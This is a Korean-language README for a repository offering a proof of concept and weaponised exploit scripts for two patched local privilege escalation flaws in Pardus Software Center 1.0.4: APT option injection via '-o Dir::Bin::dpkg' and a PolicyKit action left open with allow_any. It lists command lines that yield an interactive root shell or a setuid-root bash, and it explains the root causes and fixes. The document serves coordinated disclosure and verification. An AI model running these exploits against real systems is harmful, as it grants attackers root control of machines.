
Pardus Software 로컬 권한 상승 PoC - 영향을 받는 버전 <= 1.0.4
pardus-software 패키지(Pardus Software Center) 버전 1.0.4에서 발견된 두 가지 로컬 권한 상승 문제에 대한 개념 증명(PoC) 및 익스플로잇 준비 코드입니다. 두 문제 모두 1.0.5에서 수정되었습니다.
| CVE | 분류 | 요약 | CVSS 3.1 (CERT-TR) |
|---|---|---|---|
| CVE-2026-14459 | CWE-88 — 인수 삽입 | pardus-software 그룹의 멤버(sudo 없음, 비밀번호 없음)가 권한 있는 도우미에 APT 옵션(-o Dir::Bin::dpkg=…)을 주입하여 root로 임의 코드를 실행합니다. | 8.8 HIGH |
| CVE-2026-14460 | CWE-862 — 권한 부여 누락 | autoaptupdateaction PolicyKit 작업이 allow_any=yes로 제공되어, 모든 로컬 사용자가 인증 없이 업데이트 도우미를 root로 실행할 수 있습니다(로컬 DoS). | 8.8 HIGH |
영향 받는 버전: pardus-software 1.0.4 · 수정된 버전: pardus-software 1.0.5
공급업체: Pardus / TÜBİTAK BİLGEM · 공급업체 및 USOM(CERT-TR)을 통한 조정된 공개.
이 코드는 방어적 연구, 교육 및 패치된 공개 취약점의 확인을 위해 게시되었습니다. 두 문제 모두 pardus-software 1.0.5에서 수정되었습니다.
오직 귀하가 소유하거나 명시적으로 테스트 권한이 있는 분리된 일회용 가상 머신에서만 실행하십시오. 귀하가 제어하지 않는 시스템에 대해 실행하지 마십시오. 귀하는 모든 관련 법률을 준수할 책임이 있습니다. 저자는 오용에 대한 책임을 지지 않습니다.
pardus-software-lpe/
├── README.md
├── poc/
│ └── poc.sh # original benign PoC (proof-only; both CVEs)
└── exploit/
├── exploit-14459.sh # CVE-2026-14459 → interactive root shell
└── exploit-14460.sh # CVE-2026-14460 → unauth root apt-update (DoS)
단일 poc.sh가 서브명령을 통해 두 가지 발견 사항을 모두 다룹니다:
poc/ 버전은 **무해(benign)**합니다. /tmp/pardus_lpe_proof에 id 출력을 기록하고 증거로 setuid-root /tmp/rootbash를 생성합니다. exploit/ 버전은 무장화된 버전으로, 승인된 대상에서 시연하기 위한 "루트 셸 획득"에 해당합니다.
poc.sh SHA256: 1d3f4c19affdb377ac5eee4c695619e9f6a4590350c3936678eb1db2cf601255
무해한 PoC에는 일회용 Pardus 25 VM에서 pardus-software 그룹에 권한이 없는 victim 계정(sudo 없음)을 생성하는 도우미가 포함되어 있습니다:
sudo ./poc/poc.sh setup-victim
sudo cp poc/poc.sh /home/victim/ && sudo chown victim /home/victim/poc.sh
# CVE-2026-14459 — option injection (primary)
sudo su - victim -c 'cd ~ && ./poc.sh B'
# if 'hello' is already installed/unavailable: ./poc.sh B sl
# CVE-2026-14459 — local unsigned .deb (secondary)
sudo su - victim -c 'cd ~ && ./poc.sh A'
# CVE-2026-14460 — unauthenticated root apt update (any user, no special group)
sudo useradd -m -s /bin/bash nobody2
sudo cp poc/poc.sh /home/nobody2/ && sudo chown nobody2 /home/nobody2/poc.sh
sudo su - nobody2 -c 'cd ~ && ./poc.sh autoupdate'
예상 결과: 비밀번호 프롬프트 없음; 출력에 uid=0(root)가 표시되고, /tmp/pardus_lpe_proof는 root 소유, /tmp/rootbash는 -rwsr-xr-x root root (setuid root)로 표시됩니다. B의 경우, APT가 삽입된 스크립트가 dpkg를 대신하여 실행되었음을 알리는 메시지도 출력합니다:
Warning: APT had planned for dpkg to do more than it reported back (0 vs 5).
Affected packages: hello:amd64
대상 권한 없는 사용자(14459의 경우 pardus-software의 멤버)로 실행하십시오.
# CVE-2026-14459 → interactive root shell
./exploit/exploit-14459.sh
# run a single command as root instead of a shell:
./exploit/exploit-14459.sh -c "id > /root/pwned"
# if 'hello' is installed/unavailable, pick an uninstalled package:
PKG=sl ./exploit/exploit-14459.sh
# CVE-2026-14460 → unauthenticated root apt-update (local DoS)
./exploit/exploit-14460.sh
# demonstrate the DoS surface with repeated invocations:
./exploit/exploit-14460.sh -n 20
패치된 호스트(>= 1.0.5)에서는 두 스크립트 모두 깔끔하게 실패하고 그렇게 알립니다.
CVE-2026-14459. Actions.py의 install()은 packages 인수를 공백으로 분할하고 토큰을 apt 인수 벡터에 직접 추가합니다. 이름 검증이나 -- 옵션 종결자가 없습니다. APT 옵션처럼 보이는 모든 토큰이 허용되며, 여기에는 -o Dir::Bin::dpkg=<path>가 포함되어 패키지 관리자 백엔드를 공격자 스크립트로 교체하여 root로 실행됩니다. 동일한 패턴이 remove/upgrade/reinstall/downgrade에도 존재했습니다.
CVE-2026-14460. autoaptupdateaction PolicyKit 작업이 allow_any=yes로 선언되어 인증 없이 모든 주체를 승인했습니다. 모든 로컬 사용자가 AutoAptUpdate.py를 root로 호출할 수 있었습니다 — 로컬 DoS 표면.
전체 기술 문서 (EN + TR): ([https://medium.com/@dasokkk/missing-authorization-in-pardus-software-center-any-local-user-can-run-apt-update-as-root-de4756d4c1a1] (https://medium.com/@dasokkk/local-privilege-escalation-in-pardus-software-center-via-apt-option-injection-cve-2026-14459-569ad65a2250))
pardus-software 1.0.5에서 수정됨:
a6ff277 — apt 작업에 대한 패키지 이름 검증 (parse_packages() 정규식 + -- 구분자) (CVE-2026-14459).70210af — autoaptupdateaction에 대해 allow_any: yes → auth_admin (CVE-2026-14460).Pardus를 사용 중이라면 pardus-software 1.0.5 이상으로 업그레이드하십시오.
a6ff277 · 70210af연구 및 조정된 공개: Kerem Kaan Daşmaz.
| 서브명령 | 증명 | 비고 |
|---|
poc.sh B | CVE-2026-14459 | APT 옵션 주입(-o Dir::Bin::dpkg) — 주요 발견 |
poc.sh A | CVE-2026-14459 | 동일한 신뢰 경로를 통한 로컬 서명되지 않은 .deb (보조 시연) |
poc.sh autoupdate | CVE-2026-14460 | 인증되지 않은 root apt update |